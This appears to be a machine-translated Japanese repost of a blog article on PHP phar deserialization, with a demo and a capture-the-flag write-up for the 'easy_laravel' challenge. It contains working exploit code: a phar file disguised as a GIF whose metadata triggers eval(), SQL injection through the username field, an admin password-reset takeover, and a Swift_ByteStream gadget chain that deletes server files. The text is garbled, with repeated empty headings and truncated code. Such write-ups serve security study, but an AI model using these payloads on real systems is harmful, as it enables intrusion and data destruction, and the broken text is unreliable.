phar逆シーケンス化学習
10433 ワード
前言
利用条件 「踏み板」として使えるマジック仕様が必要( ファイル操作関数のパラメータは制御可能であり、
Demo
テストコード
テストコードは次のとおりです.
簡単なアップロード機能を実現し、アップロードのみ許可
ここではクラスを定義し、
利用手順
まず
そして
最後にアクセス
ネットカップeasy_laravel
テスト環境
最初に使用
プログラムのコントローラを見て
アクセスするには、基本的にコントローラにログインする必要があることがわかりました.一部のコントローラでは、
ユーザ登録メールボックスが
権限後アクセス可能
まず私たちが今しなければならないのは、何とかして
最後に発見
私たちが登録するときに使ったユーザー名を取って
表の構造は見られる
発見パスワードは
プログラムにはパスワードをリセットする機能もあるので、注入でリセット
そして登録できる
アクセス
古いキャッシュが存在するため、見えない
に合格
経過削除 そして訪問 UploadControllerに注入可能
したがって、逆シーケンス化は、
グローバル検索
そこでこのクラスを用いて逆シーケンス化し,テンプレートファイルを削除すればよい.
生成したファイルを画像接尾辞に変更してアップロードすると、
そしてアクセス
リファレンス
転載先:https://www.cnblogs.com/hac425/p/9803842.html
phar
はいphp
サポートされている擬似プロトコルで、ファイル処理関数のパスパラメータで使用すると逆シーケンス操作がトリガーされます.利用条件
phar
ファイルをサーバ側にアップロードできるようにする.php
バグを逆シーケンス化したpop
チェーン).:
・/
・phar
・などの特殊文字はフィルタされていない.Demo
テストコード
テストコードは次のとおりです.
upload_file.php
簡単なアップロード機能を実現し、アップロードのみ許可
.gif
ファイル.file_un.php
output);
}
}
file_exists($filename);
ここではクラスを定義し、
__destruct
メソッドではeval
を呼び出してクラス属性のコードを実行します.file_exists
のパラメータは我々が制御できるので、phar
で逆シーケンス化AnyClass
を行い、さらにコード実行を実現できる.利用手順
まず
phar
ファイルを作成してサーバにアップロードするoutput);
}
}
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.''); // stub, gif
$phar->addFromString('test.txt','test'); //
$object = new AnyClass();
$object->output = 'phpinfo();';
$phar->setMetadata($object); // meta-data manifest
$phar->stopBuffering();
?>
そして
phar.phar
をアップロード最後にアクセス
file_un.php
、phar://
を使用して逆シーケンス化をトリガーします.ネットカップeasy_laravel
テスト環境
https://github.com/sco4x0/huwangbei2018_easy_laravel
最初に使用
php artisan route:list
プログラムのコントローラを見て
アクセスするには、基本的にコントローラにログインする必要があることがわかりました.一部のコントローラでは、
admin
権限が必要です.app/Http/Middleware/AdminMiddleware.php
に定義されているadmin
権限判断のコードclass AdminMiddleware
{
public function __construct(Guard $auth)
{
$this->auth = $auth;
}
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== '[email protected]') {
return redirect(route('error'));
}
return $next($request);
}
}
ユーザ登録メールボックスが
[email protected]
であればadmin
権限があります.権限後アクセス可能
flag
取得flag
class FlagController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
}
public function showFlag()
{
$flag = file_get_contents('/th1s1s_F14g_2333333');
return view('auth.flag')->with('flag', $flag);
}
}
まず私たちが今しなければならないのは、何とかして
admin
権限を得ることです.登録を試みる[email protected]
登録されていることが判明し、重複登録はできない.コードに他の脆弱性があるかどうか見てみましょう最後に発見
NoteController
存在sql
注入class NoteController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}
}
私たちが登録するときに使ったユーザー名を取って
sql
文に挿入して注入します.表の構造は見られる
database/migrations/
.まずorder by
文テストで発見する列数は5
.そしてunion
クエリー発見パスワードは
bcrypt
したhash
、しかも40
バイトのランダム文字列です.だからパスワードは爆破できません.プログラムにはパスワードをリセットする機能もあるので、注入でリセット
[email protected]
必要token
そしてアクセスhttp://192.168.245.128/password/reset/f663eb2c795b7d95c91941f9a75934957846114169692d822b9e13737694a72b
[email protected]
のパスワードをリセットします.そして登録できる
admin
インターフェイスアクセス
/flag
コントローラのコード通りに印刷されていないことを発見/th1s1s_F14g_2333333
の内容.古いキャッシュが存在するため、見えない
flag
キャッシュファイルを削除して読む必要があるflag
キャッシュファイルはpublic function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}
に合格
nginx
のデフォルト設定が使用されていることがわかりましたがflag
ファイルのフルパスは/usr/share/nginx/html/resources/views/auth/flag.blade.php
経過
sha1
後得34e41df0934a75437873264cd28e2d835bc38772.php
だから今の考えは34e41df0934a75437873264cd28e2d835bc38772.php
/flag
、取得flag
phar
逆シーケンス化class UploadController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}
public function index()
{
return view('upload');
}
public function upload(UploadRequest $request)
{
$file = $request->file('file');
if (($file && $file->isValid())) {
$allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
$ext = $file->getClientOriginalExtension();
if(in_array($ext, $allowed_extensions)){
$file->move($this->path, $file->getClientOriginalName());
Flash::success(' ');
return redirect(route('upload'));
}
}
Flash::error(' ');
return redirect(route('upload'));
}
public function files()
{
$files = array_except(Storage::allFiles('public'), ['0']);
return view('files')->with('files', $files);
}
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error(' , ');
}else{
Flash::success(' ');
}
}
return redirect(route('files'));
}
}
check
関数は2つのパラメータを取ってつなぎ合わせてパスしたfile_exists
関数、そしてupload
アップロード可能.したがって、逆シーケンス化は、
phar
によって行うことができる.グローバル検索
unlink
・Swift_ByteStream_TemporaryFileByteStream
の解析関数に存在するunlink
メソッドそこでこのクラスを用いて逆シーケンス化し,テンプレートファイルを削除すればよい.
_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';
if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}
/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>
生成したファイルを画像接尾辞に変更してアップロードすると、
storage/app/public/
ディレクトリに保存され、phar
逆シーケンス化されますそしてアクセス
/flag
flagを取得リファレンス
https://xz.aliyun.com/t/2715#toc-8
https://www.anquanke.com/post/id/161849#h2-3
https://xz.aliyun.com/t/2912#toc-1
http://www.venenof.com/index.php/archives/565/
転載先:https://www.cnblogs.com/hac425/p/9803842.html